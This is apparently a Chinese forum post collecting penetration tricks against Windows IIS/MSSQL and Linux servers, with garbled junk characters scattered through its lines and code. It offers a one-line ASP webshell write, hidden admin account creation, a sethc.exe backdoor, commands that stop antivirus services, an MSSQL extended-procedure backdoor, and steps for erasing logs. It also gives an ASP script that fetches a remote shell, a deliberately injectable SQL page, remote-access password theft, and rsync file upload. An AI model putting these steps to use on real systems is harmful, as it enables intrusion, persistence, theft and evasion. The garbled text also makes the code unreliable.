渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
9 M! F/ `' J. \6 i, ^# T8 N: j: EIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
2 O5 a( X- W5 I: L* O% k& B3 O. J  ]        WScript.Quit
  a6 j5 n# \& l4 U6 u) C! f- ~9 MEnd If
Set ObjService=GetObject
  ?0 q7 j+ X# F" S+ w6 [
% S: o8 D& ^# Y8 e0 ^, x1 o("IIS://LocalHost/W3SVC")
  ^8 v% b* W5 {* z+ {7 S. m+ rFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
& A6 R$ C  e* J' q5 J
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

( P( \' R: x) E6 Z  c5 y5 T$ ], s       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
2 V  f, Z  _9 Y* n3 a  E. d5 e
% _% b4 W' e7 I1 o/ E4 E1 hOService.ServerComment & "]"
9 Q6 f2 A1 {1 }: x+ v                For Each Binds In OService.ServerBindings
     

2 s( d* U9 A6 ^7 x( ]2 w1 r2 O& }6 q                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
' m2 O; @0 b# H6 |& v                        
3 ~8 Q5 E7 m+ I5 _& O
% Z- D/ G& O- ~; j. t6 dWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
+ u9 p  w8 ]( i  O' h                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
0 C; t& L4 n8 R# t3 T3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
' J  N7 i, Y4 h9 Q- b4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
: y. R  H( q+ I9 U; D2 i4 TWordPress的平台，爆绝对路径的方法是：
8 T) C0 N. J, @: Lurl/wp-content/plugins/akismet/akismet.php
% _! q1 S, @& }" u. f- b4 }: `, Vurl/wp-content/plugins/akismet/hello.php
, K) U6 }/ p* b+ j) ]& |' Q——————————————————————
phpMyAdmin暴路径办法:
! q8 _. w9 r% z8 z2 P* e; z9 SphpMyAdmin/libraries/select_lang.lib.php
7 e" N( O5 W2 J5 p' I. e& ~phpMyAdmin/darkblue_orange/layout.inc.php
- L. ]& K$ c  J/ I, xphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
6 c+ J0 b' ~6 i! a网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
; k3 n, m8 Z  _! v4 [CMD下操作VPN相关
% }. m. \) @; m- W4 Nnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
, ?0 G/ f7 h0 [3 }$ W1 l/ |; F$ Wnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
$ p! f$ I4 R) Anetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
0 e! M: Z7 U' K. j# A0 N: J需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
/ g: X: s. `- r
另类的加用户方法
& x* y) \6 ?5 o* X; u, ]在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
% }" g* v4 a7 }8 d
1 V* t2 a1 s+ h6 v, zvbs:
* c" q) W9 D( ?Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

7 Z/ Z. f5 ^% E. G; k/ W命令如下
' D3 ]* V$ D3 f6 i5 @5 `) bcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
3 I7 m( w) j# X1 w————————以下配合PR更好————
4 l, p- P5 f1 l1 D# O9 N! V3389相关
; J( d5 T$ h* U- P8 u( J0 [a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
0 h( _+ h  [& G# E  J2 [2 D- Oc、终端服务器超出了最大允许连接
% B0 x! G' u2 s9 b1 y8 v2 I7 DXP 运行mstsc /admin
2003 运行mstsc /console   

% H! G( l' I3 V. F! r* a杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
: \( p. ]$ @8 rnet stop "Symantec AntiVirus" /y
  l: V0 {* M! A5 z6 ynet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
, Y0 G6 x; e* w3 p! {net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————

8 o. N$ ~, K- ^& v0 B! B! ?9 B# f5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
& K, T- x5 G5 [' hcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
8 c6 _9 g) y# h2 Z3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
6 Q6 ?. s4 `4 z; w——————————————————————
MSSQL扩展后门：
USE master;
$ S; d8 \2 I8 V! ?5 @9 t$ QEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
1 q# r1 X  U4 ~9 u9 aGRANT exec On xp_helpsystem TO public;
- s% P. B8 p, ?5 ^1 @$ [8 A———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
3 |9 |" X1 V( [4 x7 @- W# v用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
% ?& \9 x. t* V5 P! f2 _/ |% \当停止msftpsvc服务后可直接删除ex011124.log
. V9 H, z# V. b& }1 c9 ?# t0 B. w
  `( t3 t8 G! o" U; b/ CMSSQL查询分析器连接记录清除：
9 s! Y) v# |# V+ A" m9 iMSSQL 2000位于注册表如下：
, Q2 M6 t: V0 _8 ~$ C9 zHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
) V" q1 f( g1 J找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
6 L, [. R+ {$ Q& k
Server\90\Tools\Shell\mru.dat
) O1 n$ n$ O  t" J—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
' @: u9 B& a( ~' C. T( I9 T9 m
<%
; \6 n: `9 O; [9 z1 |3 tSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
1 r1 X  E& _4 h6 s. T2 b9 f6 mSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
& Q4 ~& x1 R/ |8 S3 {) DWith Retrieval
( D- q( L& k) T1 C.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
3 _8 F0 ^. z' ~" XGetRemoteData = .ResponseBody
7 R- M, l7 Z; c  C* n0 T$ ~. NEnd With
9 d: L) P* J- VSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
8 K: N2 m& g. o4 P$ L.Type = 1
  f' T" m/ y0 s0 Q.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
# k0 y1 s& D" H( Y  \1 W.Close()
0 t4 m2 q. v; C! t3 o' l: ]End With
Set Ads=nothing
End Sub
$ n' k" c5 G& j! v
+ Z$ p/ [: T& g# Y0 Z3 a! PeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
: ?8 }6 j0 D) i9 a: R: U$ B
- X6 k& ?8 u) [2 ZVNC提权方法:
& }9 Z3 E- e8 C利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
! D  H3 U5 o3 Q* H! f2 v  s' wRadmin 默认端口是4899，
' O3 w$ d! o9 D$ E4 c; y$ xHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
1 W, K- o6 n7 C+ q( Y  |# hHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
5 C2 D& Y/ U* a4 }! O然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
( t. u: r1 K- t. VUsers\Application Data\Symantec\pcAnywhere\文件夹下。
. c' Y5 y( M: o+ H0 T——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
+ r# P; z, O" `5 [+ U. U1 G( C4 z——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
9 ~' `# r0 D& h# m5 G来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
8 o5 S" H6 q. i: U# E7 F8 A6 ?* q& x没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
! D6 X4 A& S' V# `6 ]) S! TstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
0 ?6 V' K& K9 F& }. ^0 E5 {: v9 }strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
6 X% V6 S5 c3 \; z6 z7 a& \6 b4 t
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
/ J& h4 T6 K4 b" |' T" O
3 E8 y1 C, p, m% m, AstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
# B2 y. L* }2 M: w" ~! R/ X  Qset rs=server.createobject("ADODB.recordset")
id = request("id")
; A9 w/ j  y; ]  v# v8 V' k; sstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
9 z; z. S( V1 M4 n4 {%>
2 A" v# U7 A! y0 \6 Y3 k8 u复制代码
# W$ k0 Y8 \8 @; g******liunx 相关******
7 {; A% ~4 `# b$ ~& D3 s一.ldap渗透技巧
8 \/ E) {4 h7 k6 Y- s1.cat /etc/nsswitch
* i8 m) L* o( Y$ G* ^* a( E看看密码登录策略我们可以看到使用了file ldap模式

  n9 z2 O% n5 D) X5 v, u7 Z- ]2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
) a; h) t7 i8 Y1 ?' n, N找到ou,dc,dc设置
3 }$ ?  F) S. K& H& C
3 B7 T8 p  h5 N) ?" O) U3.查找管理员信息
匿名方式
" C, e1 J1 _! |6 }7 f* j: C( Pldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
7 K; @" x, H* M0 H
/ v/ S, S* `% o2 K7 y1 r"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
# |4 ?) [3 ]2 B  f; Q9 |8 Sldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

0 W  u% }$ {% O( c, P+ d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

0 ^4 b' @: k3 G9 A( _$ q
4.查找10条用户记录
& m, @8 R' ?( S1 V( N" S5 [ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
  w7 k( l. t" `6 G
实战:
0 U1 G2 s' d( O: }1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

! ^0 o6 L& {; L( B1 G% L9 S: u2.less /etc/ldap.conf
* \* [7 C& p7 I: P* c1 \: K( V! tbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
4 K8 q% t) \# c8 c  k3 l' M* c# Rldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% H3 I% G: f: H" N! X
) f3 `/ T# N, b' o, U6 x4 B0 W( r"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
+ G5 U4 _3 w  h7 ^

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ g* y. K% N, F, O/ n2 Z
0 o( B% d& W0 K2 i; V( x渗透实战:
- Q. ?) t+ i, g2 g) E- m6 j+ e  I1.返回所有的属性
$ n8 k/ C0 B1 c$ p6 P% M- vldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
7 Z2 Y9 M" Z9 T1 r* Q/ Z+ `+ Sversion: 1
/ n0 y! c* D& I) q  H+ V6 i8 o1 k1 kdn: dc=ruc,dc=edu,dc=cn
% [# u7 K! }2 c9 c- W& q9 w. m) Q. Hdc: ruc
objectClass: domain
, F$ E5 L. h" s5 ]5 C
dn: uid=manager,dc=ruc,dc=edu,dc=cn
. j6 o$ O) v' g0 i( v. q! n, s2 t% huid: manager
: r- d9 F4 f) s& JobjectClass: inetOrgPerson
objectClass: organizationalPerson
- r8 L; t7 |9 V5 @% `5 ?. zobjectClass: person
6 l0 t, w" }0 S+ w6 x/ C- UobjectClass: top
. W9 }( k7 R& v) m* Ksn: manager
cn: manager
4 C" U( I# l' w/ g: u6 s! a+ c) \' J
* r7 J  [" Z4 g: C: N  Wdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
( U: A# C5 ^: c# u8 A" I: ouid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
6 Z4 v  t- @3 F3 O9 R7 z! K* s+ ^objectClass: person
objectClass: top
1 U5 q3 E) ?/ a  c( W9 Y  @sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
8 A; ^7 U( g5 u, g6 \) |uid: admin
" x1 w0 l; \$ [! \) U/ a8 G: hobjectClass: inetOrgPerson
objectClass: organizationalPerson
( x( l) J& B9 c4 \$ xobjectClass: person
objectClass: top
sn: admin
7 _7 u- u7 Y+ f9 W4 C( ]# s8 Icn: admin
( @7 |. n3 x+ C, h2 t4 l0 W
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
: ]: V; }' }# J0 O9 a+ ZobjectClass: top
$ p) s+ {! n8 o$ Z7 f5 robjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
& z8 L+ N3 F1 y% c- k# b4 y/ hcn: dcp_anonymous

2.查看基类
, k1 v/ r2 A0 Kbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
- n7 z9 P" n! v: G& `7 s: ddn: dc=ruc,dc=edu,dc=cn
% O) p  i) n5 u. `dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
/ E/ k& L% j' v6 `0 \objectClass: top
% E; C% r! e5 h" H- P! E9 ^& InamingContexts: dc=ruc,dc=edu,dc=cn
2 C3 Y6 e+ t6 u9 N0 AsupportedExtension: 2.16.840.1.113730.3.5.7
, l' @( h% ?% xsupportedExtension: 2.16.840.1.113730.3.5.8
8 x: R* z5 O8 a" \& lsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
4 E! e9 p4 |: l$ \supportedExtension: 2.16.840.1.113730.3.5.5
: g! B, O( x0 s" m: J- r% CsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
; ?: O$ V' D' x% ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
' y6 T* d8 l" X" y/ X$ I; o6 S9 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
% H$ e1 `- t# WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
! K) H( e6 Y4 w/ Q5 o; x3 X0 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
8 |" b9 r5 q+ A! y- ~7 K( FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
. d: e' L" U! JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
% S0 R( z' M* J3 ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
* [1 l+ _5 E+ ?' e2 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
" \/ a, {+ T4 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
4 h$ L0 Y+ p6 I, A9 C% hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
6 l: j4 `8 a" @$ bsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
* m' l5 I* I3 v$ J4 E. ^supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
& I1 }2 h8 `0 K5 I3 `2 GsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
) g. s$ C% g/ O% m1 B( DsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
7 R$ B( C$ r) O3 HsupportedControl: 2.16.840.1.113730.3.4.19
; n1 c  Q+ _! x3 ^( SsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
  `6 P+ J2 i3 X/ RsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
0 ^$ R5 c9 a% g2 h/ asupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
) u! d' D: ~, p4 _5 YsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
1 |' N' r5 `( a4 HsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
" m# e8 y" z6 s$ m- QsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
3 j+ k2 h! {; e, Q" |vendorVersion: Sun-Java(tm)-System-Directory/6.2
; B( k! Q3 ^4 u9 W7 edataversion: 020090516011411
  K& o+ ]' A/ N' n) i3 ]& c2 l8 \netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
( m& f9 e3 a0 ~& q0 `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
: {" q; H2 C1 |$ p( J" u- osupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
' Z; R4 B) U! F% D+ LsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
# @) l. Z" H3 W* ^# f% o! TsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
8 K, S# X3 c. w2 ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
' T& S- t, I. E; K5 usupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
$ c" L' \0 n6 q; E* ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
! ?" g% p# h, b6 ]) @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
+ L4 P& {3 ]% }supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
+ m/ A$ C( K9 k3 esupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
. b9 Y5 K0 _( U& M; \9 _supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
. k& L! N+ z- E0 a5 j+ zsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
8 a& }5 O  F8 I2 ^9 xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
7 F- \! z- J* _; i0 P' FsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
, x; h& R% s' C- l( P) C4 l- osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
4 G$ a2 V7 q% v" wsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 A, x2 w+ u+ I& @' p  ]$ I9 K; qsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
: p  Q, I: W" R+ X! `9 QsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
2 p6 O8 ]0 K* H& w2 |. ~5 ZsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
* ^9 p' J% |) F1 m: X+ f' NsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
3 ]8 W$ E7 C9 h% rsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
$ H  F+ {1 U$ D1 {! [/ ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
! J1 ^. B% O6 N7 n/ k7 f5 R7 SsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
. U" r: N& c- B' IsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
* ?) C" s) O5 ?9 K" ~supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
" y( V: f" [4 M" {, i, t0 Z% q, bsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
2 }) H' @% Z+ K, @' I) V4 dsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
) p, M; D3 Z% B4 w' hsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
( v0 L( F- M  F8 s8 H7 HsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
( [: `3 X  t: I% i2. NFS渗透技巧
showmount -e ip
列举IP
——————
. ~7 ~) g- }' X; b+ M4 ~3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
0 j0 P  F3 O$ o  v( A4 c" S! w8 oauto
img_auto
html_cms
img_cms
# a4 I9 I9 _4 R8 k! J0 X, z$ _ent_cms
ent_img
ceshi
, V$ y$ P9 S+ Y; Ores_img
! ~& S  G' G0 A+ nres_img_c2
chip
chip_c2
ent_icms
  w$ S7 Y2 o1 ^0 G" ~: P. S8 `games
gamesimg
media
mediaimg
fashion
res-fashion
res-fo
7 j1 j2 u8 m5 l& X5 x' p( u2 Y" {! ytaobao-home
2 w7 K- {, g4 E8 ?# T$ Eres-taobao-home
house
res-house
res-home
res-edu
* `0 N5 f- [/ B. N* m, [res-ent
res-labs
; p) h4 ]/ [1 T& Xres-news
res-phtv
res-media
9 n0 @  l) \2 ohome
; F! {. y. U  }edu
news
3 r4 |6 a9 H( R3 O  m, ^res-book

1 Q. |$ o5 t: X$ S看相应的下级目录(注意一定要在目录后面添加上/)
: b/ ]2 Y& }7 ]

% ^/ L9 w8 n, u. Y( b6 A' Krsync 210.51.X.X::htdocs_app/
" C' l  s6 @; zrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
# W. g" l; P9 d, M" H
2.下载rsync服务器上的配置文件
6 P1 z+ E: K3 xrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
/ v# h7 }: c6 L5 ~http://app.finance.xxx.com/warn/nothack.txt

. d$ K( F+ V; ]8 k/ @1 {四.squid渗透技巧
1 M: T" c. C% `8 V+ Enc -vv baidu.com 80
1 a: `3 M& B6 B: {GET HTTP://www.sina.com / HTTP/1.0
' j7 r5 P4 {( dGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
6 w- Z2 w4 [" G! B
5 n7 y2 q$ i: b六.joomla渗透小技巧
% X: @3 @8 M( L+ i8 n9 H; }$ C确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
( S' P) y) v! _. k  U: Z9 [
15&catid=32:languages&Itemid=47

! {7 n6 A6 _4 |7 l7 d6 h重新设置密码
index.php?option=com_user&view=reset&layout=confirm
3 J0 W& [$ B: x# z2 |
/ ]4 B  y; e# U" F1 \1 ^七: Linux添加UID为0的root用户
% x7 m, u5 v% l9 J/ l: ruseradd -o -u 0 nothack
5 D9 b% ~6 t; X$ P( y
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
5 D9 Z4 a3 H% c+ q  _% Y' u* vfs.usermount: 1
* [argp@julius ~]$ id
- A; T# t  h4 U* uid=1001(argp) gid=1001(argp) groups=1001(argp)
$ d$ q# F) x4 J- K* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
2 S' a# ]5 Z+ U* z*
& i/ ?. t* U0 E0 u# kcalling nmount()

. ]6 D" T) O9 ~（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
